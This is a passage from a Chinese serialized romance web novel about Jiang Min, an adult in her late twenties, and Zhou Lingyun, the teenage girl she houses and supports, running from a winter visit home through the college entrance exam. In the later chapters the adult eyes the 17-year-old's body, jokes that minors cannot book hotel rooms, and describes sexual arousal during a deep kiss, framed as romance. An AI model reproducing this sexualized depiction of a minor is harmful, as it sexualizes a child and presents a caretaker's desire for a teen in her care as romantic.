周灵蕴发现自己变得娇气。 往年冬天,屋檐下挂的冰溜子是她最爱的玩具,她掰下来拿在手里滑来滑去,有时还会好奇塞进嘴里嚼。 她喜欢玩冰,玩雪,常常冻得双手通红,每次都是实在受不了才跑回屋,把手伸到火上烤。 冷热交替,最多也就是手背干裂起皮,从未生过冻疮。 这才回来几天,才写了几张卷子,都没怎么干活呢,手指头竟然肿起来了。 周灵蕴的手又痛又痒,她希望被发现,又不要被发现。 她们吃完了饭,但还没有洗脸,因为奶奶从她们一起床就把饭端过来了。 姜悯去拿周灵蕴挂在墙边的洗脸毛巾,发现它冻得硬邦邦,这点破事就让她兴奋得不得了,举着毛巾跑过来,在周灵蕴后背不停地打。 周灵蕴缩着肩,旧棉袄被打得“邦邦”响。 姜悯还是那个姜悯。幼稚姐姐。 “有完没完!”周灵蕴大喝一声。 姜悯惊奇,“冻硬了!好厉害。” 有什么厉害的,少见多怪。 她们用一块毛巾洗脸,周灵蕴把手伸进水盆里泡着的时候,姜悯终于发现异常。 “你长冻疮了。” 姜悯把周灵蕴的手从盆里捞出来,用毛巾擦干水,扯开自己的羽绒服拉链,把她的手塞到胳肢窝底下。 “不能骤热,知道吗?”她声音低下来,“得慢慢暖。” 周灵蕴手指摸到姜悯羽绒服里面穿的那件毛衣,触感细腻温柔。 姜悯身上还很香,那种热烘烘暖融融,从皮肤底下散发出来的,只属于她的香。 我好生你的气啊! 可是我也好想你啊。 周灵蕴心软得一塌糊涂,忍不住靠倒在姜悯怀里。 她觉得自己好没骨气,好好哄,人家随便说几句话她就扛不住了。 “好痒好痛!”周灵蕴脸颊红红,不知是冻的,还是羞的。 姜悯收紧手臂环抱,下巴轻轻蹭了蹭她的发顶,“对不起,都是我害的。” 周灵蕴想,姜悯应该也是有点喜欢她的。不然干嘛大老远到山上来找呢。 即使不来,她最终也是要回去的。 她是给人做替身,但从书本汲取的知识,终究是刻在自己脑子里的,谁也夺不走。 可是当姜悯用力抱住她,把她手塞在咯吱窝暖着,说“我们回家吧”的时候,周灵蕴又忍不住开始幻想。 她心底酸痒一片—— 作者有话说:虽迟但到菇 第60章 来我房间 周灵蕴以前一直听人家说, 下坡路是最好走的。 实则不然。 扛着大行李箱爬坡很累,中途要停下来休息好几次,到家两条胳膊酸得连饭碗都端不起。 但那种感觉很踏实。 周灵蕴站在坎坡边低头往下看, 山路崎岖陡峭,每一步都得万分小心, 看准了再起步, 前脚踩实了后脚才跟,否则啊, 连人带箱滚下去,那滋味可不好受。 太阳出来,头顶明晃晃,白金的一团, 周灵蕴后背起了层薄汗,停在路边喘气的时候,感觉这条下山的路很像她和姜悯现在的关系。 好累,她每一步都走得好累。 双手沉甸甸,更要管住自己的脚, 留神别打出溜, 滑了, 摔了。 她开始对姜悯疑心, 对方未必会接住她。 姜悯早都自顾不暇了。 “我帮你拿吧。”姜悯走到下面一个相对平缓的小坎上,转过身,仰脸朝周灵蕴伸出手。 她来得匆忙, 两手空空甚至洗漱都没带,跟周灵蕴用同一把有点豁毛的牙刷,以及冻得硬邦邦带破洞的洗脸毛巾。 但她一点也没嫌弃,跟周灵蕴有关的一切都让她感到有趣。 “你不行。”周灵蕴摇头拒绝, 扶着树干把行李箱降下放稳,随后蹲身迈腿。 她身上的负担,就如同手边这只笨重的大箱子。这次山路之行,让她尝到了深刻的教训,心里暗暗打定主意:有些东西,该搁置了。不能再让它拖累自己前行的脚步。 好几次,周灵蕴在心里恶狠狠发誓,要好好念书,考大学,可当她回到姜悯那个飞在半空中的家,打开门看到那只瘦小的猫咪时,她还是忍不住,小心翼翼将这只毛茸茸的小生命抱进怀里,低头亲吻它冰凉的鼻尖。 “它好小啊。”周灵蕴蹲在地上,小猫温顺窝在她臂弯,没有表现出害怕,而是充满好奇睁着大眼睛看她,好像她们前世就认识了。 姜悯蹲在周灵蕴对面,小孩姐傻乎乎的大朋友一枚,两手按在自己毛茸拖鞋的鞋面,“你喜欢吗?” “喜欢!”周灵蕴用力点头。 她捏起小猫还没修剪过指甲的小爪子,粉肉垫软乎乎的。 “它好乖,都不抓人……”话没讲完,怀里的小东西开始不安分扭动身体,尖细的小爪勾住她毛衣袖口,拉出一根长长的毛线。 小猫很活泼,细细长长四条腿,每天在家里跳来跳去。姜悯觉得它长得特别像刚认识时候的周灵蕴。 周灵蕴返校那天,一进教室就迫不及待把小猫的照片拿给朵朵看。 照片里还有姜悯,她捏个小瓶正在给猫咪喂奶,小猫一只前爪搭在她手背,两条后腿撑在瓶底,可乖。 “叫什么名字呀。”朵朵问。 “小猫。”周灵蕴继续给她划拉照片,疯狂展示。 朵朵点头说“知道”,“我是问你,你的小猫叫什么名字!” “我的小猫就叫小猫。”周灵蕴回答说。 朵朵半张嘴,无言几秒,“好特别的名字啊真是,好特别哦!” 周灵蕴笑得东倒西歪。 “我是姐姐的小猫,小猫又是小猫的小猫。” “什么绕口令。”朵朵说不懂你们的情趣。 朵朵其实很喜欢猫咪,但她说自己是个没家的人,可能要等到大学毕业,开始自己租房才能养猫。 “首先,必须要有一个没有任何人可以赶我走的地方,然后是一份工作。” “梓涵呢?”周灵蕴记得梓涵家养了好几只猫咪,“你可以去她家玩猫,还有我家。” 朵朵从书包里拿出笔袋,长长叹了口气,然后摸了摸周灵蕴的头。 “你真的相信爱情吗?我不相信爱情,我更不想跑去别人家里撸猫,我只撸自己的猫。如果没有,我可以一直忍住不撸。” 话音刚落,旁边突然有人出声:“为什么不相信爱情。” 周灵蕴抬头,竟然是梓涵来了。 朵朵一愣,眨巴眨巴眼,反应也快,“爱情又不能当饭吃。” 梓涵在她桌上放了碗打包的牛肉面,还有满满一大口袋零食。旁的半句没讲。 事了拂衣去,深藏功与名。 后桌男生跳起,兴奋尖叫,“爱情可以当饭吃的韩朵朵,可以的!” 朵朵拆开一包溜溜梅,散给前后桌同学,对周灵蕴比较特殊,让她自己挑一包。 周灵蕴拿了包小熊软糖,撕开包装,塞进嘴巴。 她发现自己总能从朋友们身上学会一些道理。 朵朵说,爱情不能当饭吃;蛋挞说,我们现实一点,多为自己考虑考虑,好吗? 就连总是没心没肺傻乎乎的万玉也提醒,你不要被人骗了哦! 没有人骗我,我没有被骗。 周灵蕴心里对自己说,我是自愿的, 跟姜老板莫名其妙的战争莫名其妙开始,又莫名其妙结束。 日子变回从前,姜悯工作不忙的时候会开车去接周灵蕴放学,她们一起找地方吃饭。 姜悯饭桌上照例吐槽客户,周灵蕴附和说对呀对呀,那些家伙真是太不识抬举了。 非要说有什么跟从前不一样的,是周灵蕴不再缠着姜悯侍寝了。 她对自己的生活很有规划,每天放学,十分钟陪小猫玩耍,一分钟铲屎,十五分钟洗澡,完事回房写卷子,闹钟响直接上床,倒头就睡。 起初姜悯还担心小孩故态复萌,又缠着她这啊那的,要亲,后来发现是自己想多了。 日子久了,她察觉到冷落,心里挺不是滋味,发信息向舒颖求助。 [她都不理我。] [只跟小猫玩。] 舒颖倒是难得好脾气。 [那你不会主动?] [你在骄傲什么。] [过来人经验?] [你现在是不是很后悔啊,当初没有挽留。] 姜悯忍不住犯贱。 [你屎吃多了?] [恩将仇报?] 舒颖反问。 姜悯笑得前仰后合。 她丢开手机,下床轻手轻脚摸到门边,拉开条门缝往外看。 尽管超绝不经意,还是被灵敏的小猫捕捉到动静,从周灵蕴书桌跳下,跑来门边,仰头看她。 臭小猫,诡得很。 姜悯冲它挥拳,打开门走出去。 小猫一路跟到厨房,姜悯打开冰箱,提了串葡萄出来,小猫撑身,急切挠她裤腿。 “馋猫,臭猫,什么都想吃。” 姜悯去柜子里给小猫找猫条,她没有周灵蕴那么好的耐性,撕开塑封,把肉酱挤进小猫的饭碗。 这招果然有效,小猫不再缠着她。 又切了个苹果,一并装盘,姜悯端去周灵蕴房间,桌上搁。 题海中抬头,周灵蕴怔然,“过年了?” 不是预想中的反馈,姜悯装贤惠装不到三秒,垮脸,“你什么意思。” “哇哇,好感动——”周灵蕴连连拍巴掌。 姜悯气笑不得,忍不住打了她一拳。 周灵蕴痛叫一声,反手摸后背,脸埋进臂弯。 姜悯顿时紧张,“不是吧,我没用力,我真的没用力。” 周灵蕴抬头,手背抚去脸颊碎发,粲然一笑,“骗你啦!” “混蛋!”姜悯又打她一拳。 这次是真打痛了,周灵蕴“嗷”一嗓。 姜悯嘟嘴,给她揉揉胳膊,“那对不起行了吧。” 一语双关。 尽管姜悯之前已经道过很多次歉。 她之前一直想不明白到底为什么,明明先推开的人是她,为什么还那么难受。 舒颖给出的答案,十分高深莫测。 ——“被爱与爱,都同样重要。” 姜悯后来有认真思考和复盘。 周灵蕴很爱她,不论是员工对老板的爱,还是妹妹对姐姐的爱。 她亦然。 爱是相互的。 说出来有点肉麻,还显得挺自作多情。 但事实如此。 她们彼此相爱。 周灵蕴不搭理她的时候,她感觉自己沉甸甸的,像一朵积满了雨珠的乌云,随时随地,要掉眼泪。 她们的关系里,她显然是被爱的那一个。 失去爱,好不适应,简直要不能呼吸。 于是,忍不住再一次靠近。 好矛盾,姜悯讨厌这样的自己,却无法控制自己。 哪怕是饮鸩止渴。 在姜悯脑袋里乱七八糟想着这些的时候,周灵吃完果盘里最后一块苹果。 这个姜大炮在想些什么呢?周灵蕴轻推一下果盘,在桌面制造出细微响动。 姜悯吸气,回神,视线回落盘中。 “好家伙,你全吃完了,是一块没给我留。” 周灵蕴无言。 是谁说已经刷牙,还装作煞有其事,说什么果糖太高,会造成皮肤氧化。 “老板的爱心小水果,千载难逢,当然要光盘。”周灵蕴耸肩,发尾摇晃,撇嘴。 姜悯发现她脸上开始出现那种城里小孩惯有的,超欠扁的笑。 得意什么?姜悯端盘起身。 小猫吃完零食,回到门前,不住舔嘴。舔着舔着,突然一屁股坐地上,翘起腿来,埋头清洗自己。 “吼,你跟她一样哦,就会吃,整天就吃吃吃。”姜悯训小猫,无端迁怒。 周灵蕴右手握拳,抵唇低笑。姜悯将要转身离开时,她“欸”一声,叫住她。 “又干嘛?”姜悯没好气回头。 “你晚上要不要跟小猫睡啊。”周灵蕴感觉自己一下就热起来了。 “小猫?”姜悯开始没反应过来。 “它好像并不是很喜欢我,它不是一直都跟你睡,大概也觉得我是一个很讨厌的家伙吧?对啊我从小到大都是这样的人,没什么朋友,也不知道该怎么处理身边的各种关系。养的两只小猫都不黏我,吃我喝我,还合伙孤立我……” 在怪她哦!周灵蕴简直要翻白眼,欸这个姜大炮真的好不讲理。 “我的意思是在我房间!” 不管了,周灵蕴大声说道:“小猫当然不会去你房间啦,我让你过来……” 嗯,来我房间—— 作者有话说:本来早该更了,丢稿了,怎么都找不回来,气得我浑身冒汗,这章写了两遍魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 她抓住了自己能抓住的一…… 周灵蕴邀请姜悯到她的小床上睡觉。这个决定, 她最初说服自己的理由,是作为“替身”的自觉。 她没资格跟姜悯置气,要求关系对等。她欠她的永远还不清, 长大赚再多的钱也还不清。 那是时光与错位倾轧而出的巨渊。 习久成性,周灵蕴生物钟很准, 即便是周末在家休息, 清晨也会准时醒来。 “这样……”她说着,衣柜里翻出个枕头拍松, 把姜悯安排在床靠墙的里侧,“我起床的时候就不会打扰到你了。” 姜悯顺从爬到位置,掀开被子钻进去,两手攥着被角, 下巴微微缩进被沿,“嗯”了声。 声音低低的,闷闷的,罕见的乖巧顺从。 周灵蕴刷完牙回来,竟然也有些拘谨, 行动刻意轻缓。 她歪过身体, 拧开床头阅读灯, 再伸手关闭头顶大灯, 然后从枕头底下摸出单词本。 那纸张边缘已有些卷曲,周灵蕴侧过脸,视线里的姜悯陷落在柔软的被褥间, 以及她半身暗色的阴影里,她声音不自觉放软,“我睡前要背几个单词,不会打扰到你吧?” 房间光源私密, 姜悯左右摇头,头发摩擦枕套,发出细微的沙沙声。 “好。”周灵蕴翻开书页。 默了几秒,姜悯被里伸出一只手,轻轻拽了拽周灵蕴的袖口。 “那你这样,不会伤到眼睛吗?” “你买的阅读灯,很好用。”周灵蕴声音平静而客气。 她探身,手臂越过姜悯身体上方,带起一阵微弱的气流,从里侧床尾抓了个娃娃过来垫在后背。 “我眼睛挺好的。听说,视力好坏遗传因素占比很大,我们家没人近视,我想这个主要还是看基因。” “哦,这样。” 姜悯声音低下去。不甘心话题就此终结,她轻咳一声,顺着周灵蕴的话嘀嘀咕咕,说自己好像有点近视,可能是玩手机玩多了,但还没到非要戴眼镜的地步。 “那没关系。”周灵蕴客客气气的,声音平稳无澜。 这次回来,周灵蕴身上并非刻意制造的疏离感,让姜悯逐渐开始意识到,她面对的不再是初遇时,那只总是憋红一对眼眶要哭不哭的瘦猫崽子。 她慢慢转过脸,昏昧的光线中看向周灵蕴。 少女五官量感极大,浓眉高鼻,只是正处在发育期巅峰,脸颊过于清瘦,甚至嶙峋。 养得很好的证据是肩头规整垂顺的长发,否则连姜悯自己都要怀疑,是不是真有虐待她,没让她吃饱。 总之,不一样了。 柔和灯影下,小小年纪,竟颇有几分超越年龄的清冷感。 周灵蕴和黎双,早期眉眼确有几分相似。 但如今,岁月已将她雕琢成另一个截然不同的灵魂。 姜悯曾无数次想象黎双长大后的模样。 她会戴眼镜,书呆子嘛,身材高挑,长发顺直,偏爱清新淡雅的颜色,在人群中必定是安静而耀眼的存在,话少,逢人只抿唇浅浅一笑。 她气质温柔沉静,再讨厌再八卦的家伙,也没办法在她面前咋呼得起来。 可……姜悯心里闷闷想,和那样的黎双在一起时,她其实很难真正放松下来。 她话多,爱闹腾,脾气也不太好。真要论起来,迄今为止,最对她胃口的同龄人,是舒颖。 舒颖老骂她。无论是友情还是爱情,姜悯认为,适当的冒犯可以增加亲密感。 她不喜欢端着,讨厌紧绷的氛围。 思绪漫无边际飘着,姜悯视线却像被一根无形的丝线牵引,长久停留在周灵蕴侧脸。 姜悯昂着脑袋,半天一动未动。周灵蕴被她看得脸发烫,睫毛扑簌几下,百般无奈,手臂摔打在被面。 “干嘛啊。” 姜悯回神,揉揉眼睛,摆正脑袋,“没干嘛呀。” 小猫在外面玩呢,还记不住自己的名字,听见人说话,赶着凑热闹,颠颠跑过来,细声细气叫着,扒拉床沿。 它实在太小,跳床对它来说过于艰难,第一次尝试失败,摔了个屁股墩儿,不甘心,后腿蓄力,再次奋力一跃。 这次前爪勉强够到,后腿却蹬空,身体悬空,晃荡几下,又掉下去。 周灵蕴就看着,没打算帮忙。小猫最后凭自己本事爬上来,大概是真摔晕脑瓜,床边迷糊绕两圈,东嗅嗅西闻闻,床尾找个角落,把自己蜷成一团毛球趴好。 “你好可爱。”姜悯伸出手指勾勾。 小猫给面儿,起身跳来,主动垂下脑袋,亲昵蹭她手指。 周灵蕴把单词本丢到床头柜,旁边躺倒。 “有人还说什么,小猫和小猫养的小猫都不黏她。你平时都不怎么陪它玩,它还不是主动跟你蹭蹭。” 小猫在姜悯手边重新卧倒,舒服伸了个懒腰,后腿蹬得笔直,开始专心致志舔毛。 姜悯指尖细细抚摸着猫咪温热的脊背,周灵蕴那话里品出些别的意思。 借猫喻人? 她跟我蹭蹭。她跟我蹭蹭。 清早,姜悯睁眼第一件事就是给舒颖发微信。 舒颖很快回了条语音,背景音是呼呼的风声和她略带喘息的调笑,她有晨跑的习惯。 “了不起哦,了不起。” 小孩轻手轻脚起来了,担心吵到她睡觉,自己抱着书包去客厅写卷子,姜悯床上翻个身。 [你没认真听我说话吧。] [我说的蹭不是指肢体动作。] [是小猫跟主人亲近那种蹭。] [晓得不?] 舒颖说你好烦啊。 “没人想知道,OK?” “我请问呢,谁问你了?” “大姐,谁问你了?” “你可以不回。”姜悯语音回复,嘚瑟没边。 “除了我,谁大清早给你发消息。” 舒颖让她滚。 姜悯闻到门缝里钻进来的辣椒油和煎蛋香气,用力吸鼻,心情大好。 “滚了,小孩姐给我做早餐呢。” 人长大,跟小时候好像没啥太大区别。 环境会变,从校园到职场,但喜欢的食物大概会一直喜欢下去,说话的习惯,不经意的小口癖也会固执保留。 尽管内心无数次严厉告诫自己,要拉开距离,保持理智,她们仍旧像两块相吸的磁石,被一种近乎本能的引力牵引着靠近。 如同飞鸟终其一生都在追逐那片水草丰美的栖息地。 小心翼翼试探,揣测,靠近又远离。 胶黏的拉扯感,甜蜜又磨人,姜悯高中时代未曾体验过的,青涩又压抑的紧张悸动,全在周灵蕴身上补全了。 气温节节攀升,空气黏腻,她们之间无法流通的湿热,被外界压力凝缩到极致,彼此默默等待一个爆发点。 没空东拉西扯,周灵蕴有更重要的事要做。 春蕾高中部教学楼下,今年竖了块两米多高的pvc板,教工每日手动刷新高考倒计时。 或许是因为拥有的东西向来很少,能抓住的,现有的,已是命运最大的馈赠,周灵蕴相比大多数同龄人,更加沉稳。 她按部就班,像一台精密的仪器,每天学校和家两点一线,唯一的解压方式,是跟姜悯一起在楼下散步,把小猫的罐头和猫粮分给草丛里探头探脑、眼神警惕的流浪咪咪。 周灵蕴走进考场那天,清晨的阳光还不算灼热,她在学校门口和姜悯轻轻抱了一下,短暂而克制。 “天气很热,很晒。”她目光扫过姜悯颈部白到得几乎透明的皮肤,“你会晒伤,晒伤会很痛,去美容院做修复也要花钱。车上等我,开着空调,我考完就去找你。” 语气平静,条理清晰。她们两个,到底谁才是姐姐啊。 姜悯说什么都多余,眼泪毫无征兆涌出,她担心样子不好看,慌忙用手捂住,泪水却从指缝间无声滑落。 孱弱的小树,手边生根发芽,抽枝长大,是她亲手栽种,浇水施肥,风雨中固执守护。 如今,它终于要开花结果。 “等我。”周灵蕴最后回头,面容是一种近乎肃穆的平静。 她用力朝着姜悯挥手,转身坚定汇入人潮。 周灵蕴很争气。除了中考那阵,确实,她基础薄弱,请家教花了些钱。但之后,她再没让姜悯在学习上操过心。 她始终自律,学习从不需要人监督,加之心态平稳,考上理想的大学是理所应当。 姜悯没有跟周灵蕴讨论过志愿倾向。 但她知道周灵蕴心里早已打定主意,会选择留在本市。 她们骨子里,是同一类人。 周灵蕴底下也讲过很多次,能顺利念完高中已经是天大的福气。 姜悯后来跟舒颖讨论过这件事,舒颖倒是难得夸了周灵蕴一句聪明。 “你就是她最大的资源和靠山,她傻了才会离开你,去外面闯荡。外面就一定会更好吗?未必。留在你身边,少走几十年弯路,拜托,瞎子也知道怎么选。” “那我倒庆幸,我还能继续给。”姜悯话虽如此,打心眼里没觉得周灵蕴只是为了钱。 “你什么也不懂!你以为你很了解她?” 舒颖的恶意揣测让姜悯有点恼火,“还是你自己就是这样的人?你把所有人都想得那么现实功利,你知道什么叫爱吗?你知道个屁,怪不得你到现在都是一个人。” 某种程度上来说,舒颖对姜悯也是真爱了。 到这地步,舒颖还没拉黑,只是恶狠狠威胁说下次见面一定要把姜悯舌头割下来。 “看看是什么材质做的,这么能叭叭!” 这个夏天,周灵蕴收获了一连串的好消息。 她考上了理想的大学,万玉也来到了她的城市,在一所离她不远的三本院校。两个女孩在手机里兴奋尖叫,计划着未来无数个轻松的周末。 梦弟也终于下定决心要离开家,去外面闯荡。她还郑重请大家帮忙,帮她重新起个名字。 蛋挞在网络上已小有名气,最出圈的视频是和小哑巴搭档,一本正经教大家用手语骂人。 关于梦弟的新名字,众人一致把目光投向靠谱大姐姐蛋挞。 蛋挞在群里说,直接改掉“弟”字就好了。 ——“叫梦真吧。” 梦想成真。 无论是什么样的梦想,都可以成真。 这个夏天,梦弟有了自己的名字,真真正正的,跟旁的什么妖魔鬼怪全无关系的,只属于自己的名字。 叫梦真。 轻盈,美好,充满希望。 朵朵也走了。她说她终于可以逃离这座让她厌恶透顶的城市。 “我受够了!我要跑得远远的,去看更大的世界!” 好消息是,她跟梓涵在同一座城市落脚。总是嘴硬说“爱情不能当饭吃”的韩朵朵,语音条中放声大笑。 “没办法呀,吃人嘴短嘛!” 你呢? 最后的最后,周灵蕴站在窗前,城市灯火次第亮起,她无声问自己。 夜风拂动发丝,夏末气息微凉,录取通知书安静躺在她身后书桌。 她抓住了自己能抓住的一切—— 作者有话说:来啦 第62章 一汩汩,湿黏的 周灵蕴考上大学了, 在离家十八个地铁站以外的地方。 姜悯拿到她录取通知书那天,高兴之余,寻思要不要去学校附近买套房子, 方便她跟周灵蕴待在一起,可看来看去都没有合适的楼盘。 “四代, 还是洋房, 别墅……”姜悯在朋友圈里划拉,找房产中介。 周灵蕴听说她要买房, 搞清原委后,请求她打消念头。 “买那么多房子干嘛呀,我们住得完吗?现在这套不就挺好,我没课就坐地铁回来啊, 已经很近了。” “在那边买房,你可以住,我工作不忙的时候也能过去。”姜悯说郊区环境好,空气好,以后用不上就租出去, 留着养老。 周灵蕴哭笑不得, “姐姐, 你还不到三十岁呢, 怎么就在考虑养老问题了。” 对哦,她快三十岁了。 不提还好。 “是吗?”姜悯掀眼,周灵蕴正在阳台晾衣服。 这是一款传统的老派小孩, 比如不喜欢用烘干机,说机器烘出来的衣服没有灵魂,一定得太阳晒。除非梅雨季或回南天,否则家里的烘干机大多时候是闲置的。 她长好高了, 举高手晾衣服,短T拉高,露出下面一小截窄瘦的腰肢。雪白颜色,看起来非常有力气和韧性啊。 姜悯瘫坐在沙发,收回眼神,掀起自己奶黄色小熊卡通睡衣的衣摆。 瑜伽课很久没去上,久坐缺乏运动的缘故?竟然有小肚子了! 天啦! 天塌了! 姜悯好自卑,在周灵蕴转身之际,飞快扯好衣摆盖住肚皮。 房子不知道哪个角落,传来小猫呕吐声,周灵蕴顿时警惕,“她吐毛球?” 姜悯挺身坐起。 周灵蕴忙抬手制止,“先不要动,等她吐完再去收拾,以免她受到惊吓,扩大污染范围。” 小猫吐完了,没事猫一样舔着小嘴,客厅溜溜达达。 周灵蕴抓起纸巾,满屋找她呕吐物。 “一天天你就不干好事。”姜悯隔空戳小猫脑门。 小猫朝她走来,半岁多,跳沙发很熟练,到她面前,脑袋蹭蹭胸口,寻个舒服的姿势趴着。 姜悯本来计划高考结束,带周灵蕴出国见见世面,周灵蕴不想去,就乐意在家待着。 她说太累了,没心思玩,等万玉来,跟蛋挞她们约顿饭就回老家陪奶奶。 姜悯细一琢磨,也行,老家凉快,山里可以避暑,玩水。 但买房的事,姜悯还没有彻底打消念头。 家里人无所谓的态度,说想买就买,周灵蕴表示不赞同,姜悯有在学着尊重她的意见,最后打电话求助舒颖。 “我跟你们这些死富二代拼了。”这是舒颖听完,跟姜悯说的第一句话。 姜悯不想让周灵蕴住宿舍,“我想像现在这样,我们住在一起,我每天都能看到她。” 舒颖先是笑,说“你好黏人”,姜悯说巧了嘛不是,“我小名就叫姜黏黏。” “可她应该有一个健康的,正常的,或者说平凡的校园生活体验,她不是你的附属品,不是你包包上的挂件。当然,如果你非要那么做,我也管不了,只是过来人经验提醒。” 舒颖难得正经,声线压得很低,字正腔圆。 姜悯沉默。 几秒后,她问道:“你是不是包过女大。” “滚你X的。” 舒颖直接把电话挂了。 [你是不是包过女大?] 姜悯追问。 舒颖恨死自己的热心肠。她开始反击。 [我建议开房,更刺激。] [谁要开房了!] [贱人,你乱说,你乱说!] [我不是那种人。] 姜悯在沙发上跳来跳去,小猫都被她弹飞。 周灵蕴听见动静跑出来看,“你咋了?” 姜悯飞快扒拉了下脸颊散乱的额发,直挺挺倒在沙发,薄毯盖住身体,“基金涨了。” “嗷,恭喜。”周灵蕴转身走开。 心跳剧烈,许久才平复。姜悯蔫蔫望着天花板吊顶,舒颖有句话说得不错,周灵蕴不是她包包上的挂件。 况且,周灵蕴下半年才满十八岁。 未成年不能开房。 不是…… 姜悯扯被盖脸,空调风吹得脚丫子冰冰凉。 可当姜悯心思浮躁,一看到周灵蕴漂亮的侧脸,还有她袖管下面两条细白的手臂,以及她松散领口不小心露出的半截锁骨……忍不住开始想东想西的时候…… 周灵蕴却如老僧入定,一动不动。 “我出门喽——”周灵蕴挎上帆布包,门口换鞋。 蛋挞和小哑巴来市里看音乐节,万玉也从她妈那搞到钱,来城里玩。她们晚上约了饭,还要去唱歌。 姜悯当然不会说她也很想去,笔电遮挡了大半张脸,头也没抬,就一声“嗯”。 周灵蕴穿好袜子,又脱掉袜子,打算穿凉鞋出去。她偏头绕过玄关,往里看了眼,走回沙发边。 “要一起吗?”其实之前已经问过好多次。 “我老大姐一枚,跟小年轻混在一起,不合适吧,你们不会觉得我很碍事吗?”姜悯继续矜持。 周灵蕴蹙眉沉思几秒,点头,“可能。蛋挞其实挺怕你的,虽然她现在已经变得很厉害,赚很多钱,网络上小有名气。” 钱,蛋挞早就还清了,但她后来有当着周灵蕴的面说过,她永远、永远也不会忘记自己当时的窘迫。 ——“她是个好人,不想让我难堪,当时没有现身,但那种体贴只会加重我内心的羞耻。” 蛋挞劝周灵蕴想开点的时候,一套一套的,轮到自己,也抓瞎。 她说她一辈子也没办法在姜悯面前抬起头。 话至此,姜悯还能说什么。 “我去了只能破坏气氛,让你们玩不自在。” “那我走了。”周灵蕴起身。 姜悯“嗯嗯”点头,面上装得风轻云淡。 “我晚上回来会比较迟,你不用等我吃饭。”周灵蕴门边叮嘱。 “赶紧走吧,我要睡午觉了。”姜悯催促。 “拜拜,姜大炮——” 门合拢。 姜悯开始在沙发上板命,用力板命,活鱼打挺。 小猫不明所以,拱背防备姿态,随时准备逃跑,又对她十分好奇,眼睛瞪个滴溜圆。 “您好,欢迎回家——” 门响,周灵蕴去而复返。 姜悯扯被盖脸,一动不动,装死。 周灵蕴再次回到她身边,“我想跟你说,冰箱里有熬好的肉酱,你不是最喜欢吃我做的肉酱面了?葱花也有切好的……你睡着了吗?” “啊?”姜悯揉揉眼睛,哼唧两声,迷迷糊糊坐起来,“你就回来啦?” “你就睡着啦?”周灵蕴好笑。 前后还不到一分钟。 “我干脆把碗底给你弄好吧,晚上你睡醒起来,肚子饿,直接烧水煮面,把面夹到碗里就好了。” 周灵蕴实在放心不下她,说干就干,转身进厨房。 姜悯发誓,她真没蠢到这种地步。 但有人陪着哄着,拿她当小孩照顾,她嘴里“哎呀哎呀”说着不麻烦啦,其实暗爽。 爽死了。 周灵蕴从消毒柜里拿个面碗出来,调料都给她配置好,葱花也丢进去,然后保鲜膜封存在冰箱,“面别煮太多,我给你抓出来放砧板,你喜欢吃软的,多煮会儿,这个能分辨吧……” “那要煮几分钟哦。”姜悯跟在周灵蕴屁股后面,手指虚空戳戳,做作得不得了。 冰箱上有块周灵蕴用石塑黏土做的小小记事板,她用马克笔在板子上写字,笔头敲敲,“看这里。” 姜悯手指点唇,“哦”了声。 “别跟我说你不识字。”周灵蕴看着她。 姜悯绷不住了,扶额笑,后背靠倒在厨房门框,却不当心,后脑袋撞在尖角,立即发出一声痛叫。 “欸你!”周灵蕴上前一步,手臂环绕过她腰肢,往回一捞,将人虚拢在怀。 “痛——”姜悯眉头紧锁,全身骨头好像被抽掉,软绵绵靠倒在周灵蕴肩膀。 女生手掌按在她后脑,不住轻揉,目光紧张,“很痛吗?” 姜悯掀开条眼缝,没有很痛,眼泪却开始在眼眶里打转。 “痛死了!” 周灵蕴立即扶姜悯去沙发上坐,扒开发缝检查有没有破皮流血。 “还好还好……” 这时候,周灵蕴门口放鞋柜上的手机响了。 “但肯定会肿,马上就会肿起来!”姜悯死死握住她手腕,不许走。 暗笑,周灵蕴忽略手机铃声,缓慢按揉她后脑伤处,直到恢复安静。 身体半靠在少女怀抱和柔软的沙发靠枕,姜悯紧紧闭着眼睛,细声哼唧,也挺不习惯这样的自己。 确实有点恶心,但实话讲,蛮受用的。 她兀自陶醉,享受着周灵蕴带给她的无限细致关怀,没有察觉到,掌心处覆来的温热感觉。 直到五指被强力挤压开,骨感细长的手指占据指尖缝隙,并持续收缩,用力扣紧。 姜悯将要睁眼探寻时,面颊热气滚滚,周灵蕴密不透风的呼吸瞬间将她包裹。 唇瓣湿热,带着细微的颤粟,姜悯周身如过电,忍不住发出一声嘤咛。娇软无比。 掌根压力持续,姜悯被按住手掌,不住往沙发陷。几乎要揉碎她的力道。 她哼吟着,齿关被撬,少女软滑的舌尖探入口腔,无师自通,搅拌吮食。 这个吻持续了很久,心中道德感抵制,姜悯几次想挣脱,却浑身无力。 唇瓣分离时,她感觉到身体某处传来的异样变化,一汩汩,湿黏的。 “你很舍不得我吗?”周灵蕴与她额头相抵,微喘着,忍不住再次亲吻她眉眼,同时身体开始往后撤。 “但我必须要走了。她们在催了。” 面色坨红,姜悯恢复了些力气,一把揪住周灵蕴衣领,将她拽来面前,“你哪里学的这些东西?!”—— 作者有话说:嘻嘻 第63章 你才流到脚后跟 周灵蕴太熟练了, 姜悯怀疑她在外面没干好事。 “干嘛突然亲我,强吻吗?你从哪里学来的这些招数。” 姜悯同时举起两人交握的手掌,大家长气势拉满, “还跟我十指相扣,你很会欸!” 抿唇闷笑, 周灵蕴眼睛弯成月牙。“我的好姐姐, 拜托,这些东西还需要学吗?” “不需要学吗?”姜悯迷糊眨眼。 她从未跟周灵蕴之外的人接过吻, 她根本想象不到那场面,过往二十七八年的人生中,也从未设想过类似可能。 同时,她没有对任何人产生过如此强烈的生理反应。 每一次。 她们并不是第一次接吻, 荒谬之处,在于每 一次,姜悯都会不小心…… 总而言之,在周灵蕴出现之前,姜悯一直怀疑自己性冷淡。 她当然有看过黄片, 当然, 大学时候, 跟其余三个室友。当时只觉得辣眼睛。 并非羞涩, 她确实不太喜欢片里异性间如此直白的肢体交互。 姜悯有想过自己是喜欢女生的。 但没想过那人是周灵蕴。一个比她小十岁的女高中生。 哦不对,马上九月开学就晋升为女大了。 姜悯不知道自己是从什么时候对周灵蕴产生那些奇怪的念头,所以周灵蕴第一次亲她的时候, 真有被吓到,疑心自己在日常相处中,无形引诱或引导。 处理问题的方式简单粗暴,横一刀竖一刀斩得干脆。 结果周灵蕴真的不理她了。 她更加受不了, 每日被分离产生的痛苦和焦虑煎熬。 现在,周灵蕴考上大学,负担卸下,被压抑的情感得以释放,她抓着她手,想问个清楚明白。 她们之间究竟是什么关系。 